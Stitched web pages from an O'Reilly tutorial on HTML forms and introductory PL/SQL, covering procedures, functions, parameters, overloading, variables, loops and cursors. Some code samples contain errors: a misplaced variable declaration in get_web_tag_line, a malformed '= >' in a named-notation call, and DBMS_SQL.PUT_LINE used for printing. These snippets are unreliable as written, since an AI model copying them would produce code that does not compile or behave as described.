Figure 5.3 shows how a browser displays the form.

Figure 5.3: A simple HTML form

The employee text field passes the employee name as the emp_name parameter. The maxlength attribute limits the number of characters that can be entered to 10. The size attribute sets the name field's width to 20, so the size of the field is twice the size of the number of characters that can be entered. This prevents user input from scrolling within the field as text is entered.

A radio button allows the user to select one office from a list of three. The options in a set of radio buttons, related to one another by the name attribute, correspond to just one server-side parameter. In the previous example, there are three radio buttons named "office" that correspond to Boston, New York, and Chicago. If the user's gender were required, then the form would require two more radio buttons, named "gender," for male and female.

When the form is submitted, the string in the value attribute is used as the parameter when the user makes a selection. For example, "CHI" is passed when "Chicago" is the selected option.

A check in the kissup_flag checkbox indicates that the user loves his job. The default checked attribute here gives the user a subtle hint as to what the answer should be. If the box is checked, kissup_flag's value is "Yes" when the form is submitted.

The last input tag creates a Submit button that, when pressed, sends the information on the form to the server for processing. Each form must have at least one Submit button. Otherwise, you risk (perhaps purposefully) damning your users to a Kafkaesque hell of entering data that never gets processed. You can use the value attribute if you want to take an action based on what button the user presses. For example, if you want the user to click a button labeled "Add" to insert a record and "Delete" to remove a record, you can create two Submit buttons, both named "action." The value for one is "Add," and the value for the second is "Delete." When the user presses either button, its value is sent to the server as the "action" parameter. You can use this parameter to decide what to do with the information.

5.2.7.3 The <select> tag

You can use the <select> tag to create drop-down lists of items. The name of the <select> list, as specified in the name attribute, corresponds to the input parameter of the server process. The items in the list, which must be enclosed with the <option> tag, supply the value of that parameter. In the previous example, you can create a cleaner interface by replacing the three radio buttons with a single list of offices, as shown in the following example. The HTML code on the left produces the output on the right:

<select name=office>
   <option value=BOS>Boston
   <option value=NYC>New York
   <option value=CHI>Chicago
</select>

The size attribute transforms the drop-down list into a scrollable list. In this example, the number of items visible is equal to the size. The following example shows the effect of using the size attribute; the HTML code on the left produces the output on the right:

<select name=office size=3>
   <option value=BOS>Boston
   <option value=NYC>New York
   <option value=CHI>Chicago
   <option value=LA>Los Angeles
</select>

5.2.7.4 The <textarea> tag

The standard text input box is limited to a single line of input; to create multiline input areas to hold user comments, complaints, and the like, you must use the <textarea> and the </textarea> tags. Like all the other input tags, each text area must be named using the name attribute. The other main attributes, rows and cols, determine a field's character height and width. Unlike the other input fields, however, the textarea tag does not use the value attribute to set default values. Instead, any plain text between the start and end textarea tags appears as the default value for the field. The following snippet shows how to create a comment field that lets the user enter up to four lines of 40 characters each:

<textarea name=comments cols=40 rows=4></textarea>

5.2.7.5 Cleaning up the form

One of the best and worst aspects of HTML is its inability to precisely format a page. For example, when you are laying out an input screen in Oracle Forms, you have exact control, down to the X and Y coordinates, of the placement of each text box, label, and button. However, forcing the browser to display a document in such a highly specific way runs counter to the HTML philosophy. Remember, the browser's built-in rendering engine is meant to eliminate this grunt work. Standard HTML in a browser automatically compensates for changes in both window size and overall resolution.

This problem is especially noticeable in HTML forms. Input elements are either crammed up on one row, making the form look sloppy, or lined up one on top of the other, making the form scroll on and on forever. However, there are a few tricks that help overcome some of the inherent HTML limitations.

You can use any HTML constructs to improve a form's layout. This includes using flow tags to break the form into logical sections, formatting tags to emphasize labels, lists to create attractive radio buttons, and tables to align each item. The following example combines all these elements to create a nice-looking form:

<form action=/hr/plsql/update_employee>
   <table>
      <tr>
         <th align=right>Name:</th>
         <td><input type=text name=emp_name></td>
      <tr>
         <th align=right>Office:</th>
         <td>
            <select name=office size=3>
               <option value=BOS>Boston
               <option value=NYC>New York
               <option value=CHI>Chicago
            </select>
      <tr>
         <th align=right><i>Loves</i> Job?</th>
         <td><input type=checkbox name=kissup_flag value=Y></td>
   </table>
   <input type=submit value="Save Responses">
</form>

Figure 5.4 shows how this form is displayed in a browser.

Figure 5.4: A form formatted with a table

5.2.8 Beware Browser-Specific Extensions

Browser vendors have created many browser-specific additions to the base HTML language. Some of these, like tables, are extremely useful and have been incorporated into nearly every major graphical browser. However, many "innovations" are simply pawns in the battle between Microsoft and Netscape to control the future of the web browser. You will find that your worst enemies are often browser vendors themselves; web technology is changing at a feverish pitch as each side tries to one-up the other with a new feature.

Although vendors are adding new extensions and features every day, it's probably safest to focus on the basic language and consider very carefully whether you should use a vendor-specific extension. If you are unwilling to constantly tweak your application to keep it compatible with the extensions as they change, you should probably avoid extensions altogether.

Previous: 5.1 Programming in HTML | Oracle Web Applications: PL/SQL Developer's Introduction | Next: 6. PL/SQL
5.1 Programming in HTML | Book Index | 6. PL/SQL
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 6] PL/SQL

Oracle Web Applications: PL/SQL Developer's Introduction

Oracle Web Applications: PL/SQL Developer's IntroductionSearch this book
Previous: 5.2 A Whirlwind Tour Chapter 6 Next: 6.2 Programming Constructs

6. PL/SQL

Contents:
Structured Programming in PL/SQL
Programming Constructs
Packages
PL/SQL Tools

With HTML safely out of the way, we can turn our attention to the second half of our web development platform: PL/SQL, Oracle's proprietary extension to structured query language (SQL). The PL stands for Procedural Language, since PL/SQL is used to create procedural constructs (loops, variables, etc.) on top of the relational constructs of SQL.

Although it has some object-oriented features, PL/SQL is based largely on Ada, a structured programming language used heavily by the Department of Defense. As such, PL/SQL has more in common with languages like C, Pascal, or COBOL than it does with C++ or Java. Although it follows an older design model (structured versus object), PL/SQL has the advantages of being easy to learn, tightly integrated to the Oracle database, and extensible. If you know how to write a SQL script and know at least one 3GL language, you can learn to develop useful PL/SQL programs in just a few hours.

In the next three sections we'll cover what you need to know to start developing in PL/SQL: how to structure a PL/SQL program, how to fill in its major programming constructs, and how to create reusable modules called packages. In the last section we'll look at two third-party tools, TOAD and PL/Formatter, that make PL/SQL development much more enjoyable and productive.

There is much more to say about the PL/SQL language. For complete information, see Steven Feuerstein and Bill Pribyl's Oracle PL/SQL Programming(O'Reilly & Associates).

6.1 Structured Programming in PL/SQL

The idea behind structured, or modular, programming is that complex problems can be broken down into smaller, more manageable pieces. For example, I can break the daunting task of driving from Boston to New York into four simpler steps: find I-95 south in Boston, drive four hours, exit in New York, and find a parking space. I repeat this process on each of the previous steps, breaking each one into even smaller units until I eventually reach a level of complexity that I can reasonably handle. For example, I can break "find a parking spot" into the steps: drive around aimlessly, yell at somebody, honk my horn, and then turn around and go home.[1] Once I have identified all these simpler steps, I can solve the original problem.

[1] Sometimes these problems are maddeningly recursive. For example, "Turn around and go home" breaks into "Find I-95 north in New York, drive four hours, exit in Boston, and find a parking space."

The structure of a PL/SQL program reflects this underlying philosophy. A complex program is made up of units called blocks (as in building blocks) that can contain variables, SQL and PL/SQL instructions, error handling routines, and even other blocks. Each block may have four distinct parts: an optional header, optional variable declarations, executable instructions, and optional error handling code. These parts are described in the following list:

Header section

This section, also known as the specification, comes at the beginning of a block. It defines the block's name, its type, and any parameters it requires. If the header is omitted, the block is called an anonymous block because it does not have a name. The header is required for procedures and functions, but is replaced with a simple DECLARE keyword for anonymous blocks. Anonymous blocks typically include just an executable section, and are often found as the executable portions of a conditional statement.

Declaration section

This section contains declarations for all local variables and structures used in the block. Variables can include simple numbers and strings, as well as more complex structures, like cursors and arrays. The declaration section is optional; your program does not have to use any variables. However, PL/SQL is strongly typed, which means that you must declare every variable you plan to use (the one exception to this rule is the implicit loop index, which we'll discuss later).

Executable section

This section, also known as the body, contains your actual code. This is the only required section; all blocks must have at least one executable instruction.[2] Sometimes you may want to just use the NULL instruction, which doesn't perform any action, as the entire executable portion of a block. This technique stems from the two approaches to modular design. The first approach, bottom-up design, begins by coding the simplest pieces and works up to more complex structures. The second approach, top-down design, begins at the highest level and works down. With the second method, you may know a particular module is necessary, but not yet know (or care) how it will be implemented, so you create a stub that serves as a placeholder until you are ready to fill in the details.

[2] The exceptions to this rule are external procedures or specifications for Java methods (a way to call Java from PL/SQL). These, however, are beyond the scope of this book.

Exception section

This section handles problems (exceptions) that arise while the program is running. When an exception occurs (for instance, an attempt to insert a duplicate primary key into a table), the RDBMS immediately transfers control to the exception section, if it exists. Each error is associated, either by the system or the programmer, with a name like DUP_VAL_ON_INDEX or NO_DATA_FOUND.

The exception section is a CASE statement that associates an error name with a handler that executes when the error occurs. Of course, it would be inconvenient to explicitly test for all the possible things that could go wrong with a particular program (how often do you test whether you have enough memory to execute a SQL statement?). The catch-all exception OTHERS traps exceptions not explicitly listed in the CASE statement.

If there is no handler at all for an exception, the block terminates and the error is passed back to the calling block to be resolved. If there is no handler for the error in any block, then the entire program terminates immediately, leaving the user staring at an ugly error message. Although the use of the exception section is optional, well-designed programs should always minimize the occurrence of unhandled exceptions.

Blocks allow you to build modularized programs. While anything between BEGIN and END is considered a block, the two most important blocks are procedures and functions.

6.1.1 Procedures

A procedure is a modular block of code with the following general structure:

PROCEDURE name (
   parameter1 IN | OUT | IN OUT AS datatype,
   parameter2 IN | OUT | IN OUT AS datatype,
   ... )
IS
   Local variable declarations
BEGIN
   Program instructions
EXCEPTION
   WHEN exception1 THEN
      Handler 1
   WHEN exception2 THEN
      Handler 2
   WHEN OTHERS THEN
      Default error handler
END;

The name of the procedure should reflect the task it performs. The task should be fairly simple; a procedure shouldn't be more than a few hundred lines long. If it is, you probably haven't broken your problem down sufficiently. Here's a fairly simple procedure:[3]

[3] This listing, and the others throughout this chapter, begin with the line "CREATE OR REPLACE...," which is a SQL command and not part of the actual procedure. Since procedures (as well as functions and packages) are database objects, you must use SQL to CREATE and compile them. The REPLACE option allows you to run these scripts over and over without having to first drop the procedure.

/* Formatted by PL/Formatter v.1.1.13 */
CREATE OR REPLACE PROCEDURE give_raise (
   emp_id IN VARCHAR2 DEFAULT NULL,
   raise_pct IN VARCHAR2 DEFAULT NULL
   )
IS

   monthly_salary   NUMBER DEFAULT 0;

BEGIN
   -- Fetch current salary using a SELECT...INTO;
   SELECT  sal
      INTO  monthly_salary
      FROM  emp
      WHERE id = emp_id;
   -- Decide what to do
   IF monthly_salary > 10000
   THEN
      HTP.print ('You are rich enough already!');
   ELSE
      UPDATE emp
      SET    sal = sal * (1 + raise_pct)
      WHERE  id = emp_id;
      COMMIT ;
      HTP.print ('Your wish is my command');
   END IF;
   HTP.print ('All done.');
EXCEPTION
   WHEN OTHERS
   THEN
      HTP.print ('Sorry, no raise for now.');
END;

6.1.2 Functions

A function, the second kind of modular block has the following general structure:

FUNCTION name (
   parameter1 IN | OUT | IN OUT AS datatype,
   parameter2 IN | OUT | IN OUT AS datatype )

RETURN return_datatype IS
   Local variable declarations
BEGIN
   Function instructions
   RETURN return_value
EXCEPTION
   WHEN exception1 THEN
      Handler1
   WHEN exception2 THEN
      Handler2
   WHEN OTHERS THEN
      Default error handler
END;

A function computes and returns a single value (its return value) of the datatype defined in its header section. The RETURN command, which can appear in the executable or exception section (or both), sends the return value back to the program that called the function. The RETURN command terminates the function immediately.

You can use functions to perform common computations or return special values. For example, you might want to include some descriptive information at the end of each page, like your company's name and the date the page was created. You can write a simple function that you can call inside each program to avoid hard-coding. Here, for example, is such a function:

CREATE OR REPLACE FUNCTION get_web_tag_line
   RETURN VARCHAR2

   Ret_val VARCHAR2(500);

IS
BEGIN
   ret_val := 'Copyright ACME Incorporated, ';
   RETURN ret_val || TO_CHAR (SYSDATE, 'DD-MON-YY');
END;

Even this trivial example points out one of the main advantages of modularizing your code: it helps you avoid problems down the road. For example, what if a big German conglomerate buys your company? You certainly don't want to have to insert a bunch of umlauts into your programs. You probably also noticed that the date format shows only the last two digits of the year. Had you hardcoded the date format into each program, millennium fever would force you to change every occurrence to display the full four-digit year. Calling a function lets you change the code in just one place.

6.1.3 Parameters

You can include parameters in a procedure or function header to better control how it works. A parameter is similar to a local variable, but it acts more like a placeholder for a value that will be passed to the procedure by some future program. This allows a procedure to handle general situations, rather than specific instances of a given problem. These symbols are called formal parameters. The values provided by the calling program are called actual parameters because they represent actual, concrete values.

A procedure or function can accept any number of parameters, or even omit them entirely. For example, the give_raise procedure needed two parameters: one to pass the employee ID and one to pass the amount of the raise.

Parameter declarations follow this general format:

PROCEDURE/FUNCTION name (
  Name1 mode datatype DEFAULT defaul_val,
  Name2 mode datatype DEFAULT default_val,
  ...
  Name3 mode datatype DEFAULT default_val) IS

Each parameter must have a name, a mode, a datatype, and (optionally) a default value, as defined in the following list:

Parameter name

The name for the parameter as it is used in the body of the block. Each name must be unique. Parameter names should be reasonably meaningful.

Mode

There are three modes: IN, OUT, and IN OUT. The IN mode means that the parameter is read only; the block can see the value (i.e., reference) of the parameter but cannot change it. The OUT mode is write only; the block can set, but not reference, the value of the parameter. This mode is used to return values from the procedure back to the calling program. The IN OUT mode means the parameter can be both referenced and updated.

Datatype

The datatype specifies the parameter's type. These types are unrestrained; the size of the formal parameter is determined by the size of the corresponding actual parameter.

Default value

The default value specifies the value of the parameter if no corresponding actual parameter is provided.

Here are some sample declarations:

PROCEDURE give_raise (
   emp_id IN NUMBER,
   job_code IN VARCHAR2 DEFAULT 'CEO'
   );

PROCEDURE print_emp_info (
   dpt_name_parm IN VARCHAR2 DEFAULT 'HUMAN RESOURCES'
   );

FUNCTION get_emp_name (emp_id IN NUMBER)
   RETURN VARCHAR2;

The last example is worth commenting on. It's a function that, given a primary key, returns an employee's name. What if you wanted to modify the function to return more information, like the employee's job code and department? Since a function can return only one value, we can't modify the get_emp_name function to return several different things. Instead, we can convert it into a procedure and use OUT parameters to pass the new values back. Here's an example:

PROCEDURE get_emp_info (
   emp_id IN NUMBER,
   emp_number OUT VARCHAR2,
   emp_name OUT VARCHAR2,
   emp_dept_id OUT NUMBER
   )

6.1.4 Calling Procedures and Functions

You call a procedure or function by name. You must also pass actual parameters for its formal parameters (if a module does not have any parameters, then the name alone is sufficient). Here are some examples of how to call a procedure or function from inside another PL/SQL program:

delete_all_customers;

dbms_sql.put_line (todays_date);

today_string := todays_date;

The first example calls the delete_all_customers procedure. This is the simplest type of call, since no parameters are passed to the procedure. As you can see, the ability to represent a complex sequence of actions with a single command makes for much more readable programs. The second example prints the results returned by the todays_date function. You can use a function call anywhere you can use a literal or a variable, as long as its return type is appropriate. The third example assigns a local variable to the value returned by todays_date.

You must supply actual parameters to procedures or functions that have a formal parameter list. There are two notations for doing this: positional notation and named notation.

6.1.4.1 Positional notation

Positional notation uses an actual parameter's ordinal position to map it to a corresponding formal parameter. This is the notation used most frequently in languages like C or Pascal. The following examples show positional notation in action:

give_raise (101,'PROGRAMMER');

give_raise (105);

print_emp_info('ACCOUNTING');

emp_name := get_emp_name (current_emp_id);

get_emp_info ( 101, enum, ename, edpt);

The first call passes two literal values to the two formal parameters (emp_id and job_code) of the give_raise procedure. The values are assigned to the formal parameters based on their order in the list, so emp_id is assigned the value "101" and job_code is assigned "PROGRAMMER." The second example seems to violate these rules because it only provides one parameter. Remember, however, that we have assigned a default value ("CEO") to the job_code. You can omit an actual value for a formal parameter if it has a default value. The RDBMS generates an error if you omit a value for a parameter that does not have a default value.

The third example has only one parameter, dpt_name_parm, which is assigned the value "ACCOUNTING." The fourth assigns the result of the get_emp_name function to a local variable called emp_name. The fifth sample calls get_emp_info. As we would expect, the emp_id formal parameter is assigned the value procedure, and each of the OUT formal parameters is associated with a corresponding local variable: emp_number with enum, emp_name with ename, and emp_dept_id with edpt. When the procedure finishes, the values of the local variables will have the values assigned to formal parameters in the procedure.

6.1.4.2 Named notation

The second way to supply parameters to a function or procedure is named notation, which eliminates the call's reliance on parameter position by explicitly mapping formal parameters to actual parameters. This is done by using the formal parameter name to which an actual parameter corresponds directly in the call. The syntax of a named notation call is:

procedure_name (
   formal_parameter1 => actual_parameter1,
   formal_parameter2 => actual_parameter2,
   formal_parameter3 => actual_parameter3,
   ...)

Here are two of the positional notation examples we looked at in the previous section rewritten in this format:

give_raise ( job_code => 'PROGRAMMER', emp_id => 101 );

get_emp_info ( emp_dpt_id => edpt,
               emp_name => ename,
               emp_number => enum,
               emp_id = > 101 );

While named notation requires more typing, there are many situations in which this notation is preferable to positional notation. Let's take as an example a procedure that performs a logic test based on a large set of flags. Suppose you had a procedure called complex_test with 10 parameters and that each parameter governed the execution of a distinct step. If a parameter value is `Y', then the step executes. Otherwise, it does not. Here is the specification:

PROCEDURE complex_test (
      step1_ctl IN VARCHAR2 DEFAULT 'N',
      step2_ctl IN VARCHAR2 DEFAULT 'N',
      ...
      step9_ctl IN VARCHAR2 DEFAULT 'N',
      step10_ctl IN VARCHAR2 DEFAULT 'N'
      );

Now suppose that you want to execute just the tenth step. The positional syntax requires a value for the parameter based on its ordinal position. Executing just the tenth step in complex_test requires this ugly command:

complex_test ('N','N','N','N','N','N','N','N','N','Y');

Using the named notation, we can replace the complex with a simple substitute:

complex_test ( step10_ctl => 'Y' );

6.1.5 Overloading

Overloading allows you to create multiple versions of a procedure or function. Each version has the same name but a different signature, the technical term for the full set of declarations in a parameter list. The compiler uses a procedure or function call's name and signature to find a corresponding overloaded function.

Overloading is a powerful technique that makes procedures and functions easier to use. Say you want to create a generic function that returns any passed date in DD-MON-YYYY format. The input should allow the caller to pass a date in a variety of formats. For example, he could pass a DATE variable, a VARCHAR2 string that represents a date, or even numbers that represent the month, day, and year of the date. Here is the example without overloading:

FUNCTION get_nice_date_date (dt IN DATE)
   RETURN VARCHAR2;

FUNCTION get_nice_date_vchar (dt IN VARCHAR2)
   RETURN VARCHAR2;

FUNCTION get_nice_date_month (
   m IN NUMBER,
   d IN NUMBER,
   y IN NUMBER
   )
   RETURN VARCHAR2;

With overloading, however, you can use the same function name over and over as long as each version has a unique signature. All the programmer has to do to call the function is supply the data in one of the overloaded formats; the compiler automatically does the dirty work of mapping the call to the correct signature. Here are the three specifications required by the get_nice_date function:

FUNCTION get_nice_date (dt IN DATE)
   RETURN VARCHAR2;

FUNCTION get_nice_date (dt IN VARCHAR2)
   RETURN VARCHAR2;

FUNCTION get_nice_date (
   m IN NUMBER,
   d IN NUMBER,
   y IN NUMBER
   )
   RETURN VARCHAR2;

Without overloading, you had to create three different versions of the same function and leave the programmer to call the correct version. This is a real nuisance because the programmer must know (or, more likely, look up) the applicable name. This flexibility helps ensure that the procedure and functions you develop are easy to use and understand.

6.1.6 Permissions

In this section we'll look at how to share procedures and functions among a number of different schemas. Like all database objects, procedures and functions (as well as packages, which are covered later in this chapter) are owned by a single schema. Consequently, only that schema can execute them unless other database schemas are explicitly granted EXECUTE permission. When you want to write generic modules that can be used by a large number of developers, you can use the GRANT EXECUTE command. This command should be executed within the owner's account, and it has the following syntax:

SQL> GRANT EXECUTE ON program_or_package_name TO schema;

This grant highlights an extremely important aspect of Oracle's security rules. By default, procedures and functions execute with all the permissions of their owner, and not those of the account in which they are executed. For example, you can execute a complex procedure that hits sensitive tables from a minimally privileged account by selectively using GRANT EXECUTE. Oracle8i has a second model, called invoker's rights, which requires that the user (the invoker) has the necessary underlying privileges.

Previous: 5.2 A Whirlwind Tour | Oracle Web Applications: PL/SQL Developer's Introduction | Next: 6.2 Programming Constructs
5.2 A Whirlwind Tour | Book Index | 6.2 Programming Constructs
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 6] 6.2 Programming Constructs

Oracle Web Applications: PL/SQL Developer's Introduction

Oracle Web Applications: PL/SQL Developer's IntroductionSearch this book

6.2 Programming Constructs

Most programs are built out of a fairly standard set of programming constructs. For example, to write a useful program, I need to be able to store values in variables, test these values against a condition, or loop through a set of instructions a certain number of times. In this section, we'll see how to use these and other constructs in PL/SQL. Specifically, we'll cover comments, variables, conditionals, loops, cursors, and index-by tables (PL/SQL's version of an array).

6.2.1 Comments

Comments allow you to document your PL/SQL programs. These comments are stored in the database along with the rest of the PL/SQL code. PL/SQL has two types of comments: multiline and single-line.

Multiline comments are enclosed between the delimiters /* and */. Here's an example:

/*
|| The following procedure unconditionally deletes all
|| rows from the customer's table.
*/
PROCEDURE delete_all_customers is
...

Single-line comments are denoted by two consecutive dashes. The comment can appear either on its own line or after a PL/SQL instruction, as illustrated in the following example:

CREATE OR REPLACE PROCEDURE delete_all_customers
IS
BEGIN
   -- The delete statement blows away all customers
   DELETE
     FROM customers;
   COMMIT;   -- Confirm changes
END;

6.2.2 Variables

The second construct, variables, allows you to save values in memory. For example, you may want to keep a counter inside a loop, or store a string value for processing. In this section, we'll see how to declare a variable and assign it a value. We'll also look at how to turn a variable into a constant by permanently fixing its value.

6.2.2.1 Declaring a variable

The syntax for a variable declaration is:

name datatype(size) DEFAULT default_value;

You can also assign the default value using the := operator. In this case, the syntax is:

name datatype(size) := default_value;

The next three sections describe the name, datatype, and default value.

6.2.2.1.1 Name

The name may be up to 30 characters long, and may include letters, numbers, or underscores. Variable names must start with a letter. A good variable is descriptive; many programmers like to use one- or two-letter variable names like X or A1 because they are easy to type,[4] but this does not make for very readable code. If a variable represents an employee's monthly pay rate, then call it "monthly_pay_rate," not "mpr" or, even worse, "r." Let's face it -- most of our time as developers is spent either fixing our old programs or helping someone else fix theirs, not writing new ones. You have only one chance to develop a program. You have the rest of your working life to support it. The few seconds you save by using a short, meaningless name are not worth the future maintenance hassle for either you or the poor sap who'll take your place when you become a consultant.

[4] I once saw a program in which the variables were named after the developer's coworkers.

6.2.2.1.2 Datatype

The datatype specifies the type and amount of data a variable can hold. While there are a variety of different datatypes, in this section we'll look at the two most common: NUMBER and VARCHAR2.

The NUMBER type holds general numbers, such as 1, - 457, or 3.14. You can assign a number variable a precision and scale to set its maximum size. The precision is the maximum number of digits allowed. The scale controls rounding. A positive number indicates the number of places to the right of the decimal place to round, and a negative number indicates the number of units to the left of the decimal. The size used in the declaration is written as a combination of the precision and the scale. For example, the number 1523.567 is rounded to 1523.6 if the datatype is NUMBER(4,1); it would be 1500 if the datatype is NUMBER(4, -2).

The VARCHAR2 datatype holds character strings, like `Hello, world!', `Saturday', or `Buster Keaton'. In PL/SQL, the value of a string is enclosed by single quotation marks (ticks), not double quotes. The compiler can get very confused if you mistakenly use double quotes. Also, the declaration of the VARCHAR2 type must include the maximum size of the string, which can range from 1 to 32,767 characters.[5] For example, a string of 50 characters is declared as a VARCHAR2(50).

[5] Be careful if you plan to use a PL/SQL variable to populate a VARCHAR2 column in a database table. The maximum size in the RDBMS is just 2000 characters.

In addition to explicitly declaring a variable's type, you can implicitly declare it using an anchored declaration. The anchored declaration directly associates a variable's type with the type of a column in a database table. For example, suppose you want to use a PL/SQL variable to hold an employee's last name from an employee table. Rather than hardcoding the column definition in the program, you can simply anchor the variable to the last-name column in the employee table.

Anchored declarations have other benefits besides ease of use. They simplify long-term maintenance in two ways: first, they improve readability, because the relationship between a variable and a column is explicit; second, they minimize problems caused by changes in the database schema. How many times have you had to fix a program because a column was redefined? The syntax for an anchored declaration is:

variable_name table_name.column_name%TYPE;

Here are a few examples that help reduce the chance of "overflowing" a VARCHAR2 variable with too many characters:

Emp_name       EMP.ENAME%TYPE;
Emp_Dept_code  EMP.DEPT%TYPE;
Dept_name      DEPT.DNAME%TYPE;

6.2.2.1.3 Default value

Each parameter must have a name, a mode, a datatype, and (optionally) A variable default value is the value a variable contains when it's referenced for the first time. If you don't know what this value is, then you're asking for trouble; it can be very difficult to track down bugs caused by uninitialized variables. Here are some sample variable declarations:

rec_count NUMBER default 0;

yearly_interest_rate NUMBER(5,4) := 0.08;

account_status_code VARCHAR2(10) default 'OPEN';

emp_last_name emp.lname%TYPE;

6.2.2.2 Assigning values

Once we've declared the variable, we can assign it a value in the body of our program. PL/SQL uses the := operator to assign a value to a variable.

Here are a few sample assignments:

count := 0;

emp_count := emp_count + 1;

annual_salary := hourly_rate * 2000;

You should make sure you declare the variables large enough to hold the full range of potential values. If the value you assign exceeds the maximum size declared for the variable, the RDBMS generates the VALUE_ERROR exception. For example, assigning the last name `Pantanizoupolos' to a VARCHAR2(10) raises an exception.

6.2.2.3 Constants

A constant is a fixed variable, which means you can't change its assigned value inside your program. To turn a variable into a constant, you simply include the CONSTANT keyword in the variable's declaration. Note that, by convention, constant variable names are usually uppercase. Here are some examples:

PI CONSTANT NUMBER := 3.14159;

YEARLY_WORK_HOURS CONSTANT NUMBER := 2000;

LINES_PER_PAGE CONSTANT NUMBER := 60;

OPEN_STATUS CONSTANT VARCHAR(1) := 'O';

The main use for constants is to replace a program's magic values -- numbers or strings meaningful only to the programmer or business -- with more easily understood names. For instance, the last example in the previous section used the number 2000 to calculate an annual salary. While we can often deduce the meaning of a magic value (in this case, the number of hours in the work year), it's just bad coding practice to randomly sprinkle your program with literals.

The problem with sticking these values directly into the code is that -- believe it or not -- constants can change. Your employer might decide to adopt a six-hour workday (perhaps a German conglomerate buys your company) and reduce the number of hours in the work year to 1500. Using literals, you would have to go through your code line by line and replace all the 2000s with 1500s. Constants eliminate this tedious make-work. We can simply create a constant called YEARLY_WORK_HOURS, assign it a value of 2000, or 1500, or whatever value we want, and use it to clarify our calculations. This is shown in the following example:

annual_salary := hourly_rate * YEARLY_WORK_HOURS;

6.2.3 Conditionals

In this section, we'll look at how to create conditional statements. A conditional statement executes a code segment based on a condition, such as an equality test (a = b), a comparison test (a > b), or a Boolean test. PL/SQL has three conditional structures: IF-THEN, IF-THEN-ELSE, and IF-THEN-ELSIF-THEN-...-ELSE.

The IF-THEN format executes a code block if the condition is TRUE. For example:

IF line_count > LINES_PER_PAGE
THEN
   line_count := 0;
   DBMS_SQL.PUT_LINE ('--------');
END IF;

The IF-THEN-ELSE format has two code blocks. If the condition is TRUE, the first block is executed; otherwise, the second block is executed. For example:

IF items_sold > get_employee_target (emp_id)
THEN
   over_quota_count := over_quota_count + 1;
   give_raise (emp_id);
ELSE
   give_talking_to (emp_id);
END IF;

The IF-THEN-ELSIF-THEN-...-ELSE, PL/SQL's equivalent of the CASE or SWITCH statement, can contain multiple conditions. The statement executes the code block associated with the first TRUE condition. Here's an example:

IF    is_number (current_char)
   OR is_letter (current_char)
THEN
   new_char := current_char;
ELSIF  current_char = ' '
THEN
   new_char := '+';
ELSE
   new_char := convert_to_hex (current_char);
END IF;

NOTE: Be careful with conditional syntax. Every PL/SQL programmer has made at least one of the following two mistakes: using END instead of END IF, or adding an "E" in the "ELSIF" keyword. In either case, the compiler gets confused and generates an error.

6.2.4 Loops

Looping, or iteration, causes the block between the keywords LOOP and END LOOP to be repeatedly executed. The loop ends, or terminates, when an exit condition is met. Once a loop terminates, program control is returned to the first line after the END LOOP keyword. There are three looping structures: simple, WHILE, and FOR.

In the simple loop, the exit condition is embedded inside the loop body. The EXIT command terminates the loop immediately, and is usually embedded inside an IF...THEN statement. EXIT WHEN combines EXIT with a conditional to form a more compact syntax. Here are two constructions of a simple loop. The first example uses EXIT:

LOOP
   COUNT := COUNT + 1;
   IF COUNT > 10
   THEN
      EXIT;
   END IF;
END LOOP;

The second example uses EXIT WHEN:

LOOP
   COUNT := COUNT + 1;
   EXIT WHEN COUNT > 10;
END LOOP;

In the second kind of loop, the WHILE loop, the exit condition is outside the body of the loop. The code within the body of the loop iterates while the loop condition is true. The loop terminates when the condition is false, for example:

WHILE (COUNT <= 10)
LOOP
   COUNT := COUNT + 1;
END LOOP;

The last kind of loop, the FOR loop, iterates a predetermined number of times. For example, the number of loops needed to process each month in the year does not depend on a complex condition; it always requires 12 passes through the loop. A FOR loop is controlled by an index variable that ranges from a lower bound to an upper bound. The index variable begins at the lower bound. Each pass through the loop increments it. The loop terminates when the index reaches the upper bound, for example:

FOR month_index IN 1 .. 12
LOOP
   process_month_sales (month_index);
END LOOP;

There are a few things to be aware of when using FOR loops:

  • The lower bound and upper bound are evaluated only once, on the first pass through the loop. Changes made to the bounds inside the body, assuming they are local variables, are ignored.

  • It's generally considered bad practice to use the EXIT command to short circuit the fixed nature of the FOR loop. If the number of loops depends on a condition, then a simple loop or WHILE loop is a clearer construct than a FOR loop.

6.2.5 Cursors

A cursor is a PL/SQL construct used to process a SQL statement one row at a time. Each cursor is associated with a SELECT statement and a number of attributes. The SELECT statement defines a virtual table called the result set that contains all the rows of the underlying SELECT statement. The cursor's attributes provide information about the cursor's structure and current status.

The first step in the life of most cursors is a two-part declaration. The first part of the declaration names the cursor and binds it to a SELECT statement. The second part uses this name and a cursor attribute to create a PL/SQL data structure that holds the rows of the result set. Once these two elements are declared, the cursor is ready for processing, which requires three steps:

  1. The cursor is opened by executing the query and building the result set.

  2. Each row in the result is processed inside the body of a loop by fetching the current row of the result set into the PL/SQL data structure. Each fetch advances the current row pointer.

  3. The cursor is closed and the memory taken by the result set is freed.

Let's look at declaring and processing a cursor in more detail.

6.2.5.1 Declaring a cursor

The declaration of a cursor binds a name to a SQL SELECT statement. In addition to the cursor declaration itself, you'll also need to declare a variable that will hold the information read from the cursor, since the cursor is only a pointer to a row, not the row itself. This variable, declared as a record, holds data from the current row of the cursor.

A record is similar to a row in a table; it is a single entity made up of named fields, exactly as a row is composed of columns. Each field has its own datatype. The syntax for referencing a field is similar to the syntax used for referencing a table column; it requires the name of the record, a period, and the name of the field.

The simplest way to create a record is to anchor it to the cursor's structure using the %ROWTYPE attribute. The following example shows the declaration for a cursor and a record variable to hold its results:

CURSOR emp_cur
IS
   SELECT *
     FROM emp
    ORDER BY lname;

emp_rec emp_cur%ROWTYPE;

You can limit the rows returned in a cursor by using variables in the statement's WHERE clause. You can also include parameters as part of the declaration of a cursor itself. The syntax for declaring a parameter is the same as for procedures and functions. This is useful when you want to create a modular cursor declaration shared by a number of modules. For instance, to limit the previous example to a single individual, we could pass a primary key as a parameter (the record is still required, even if there is just one row in the result set):

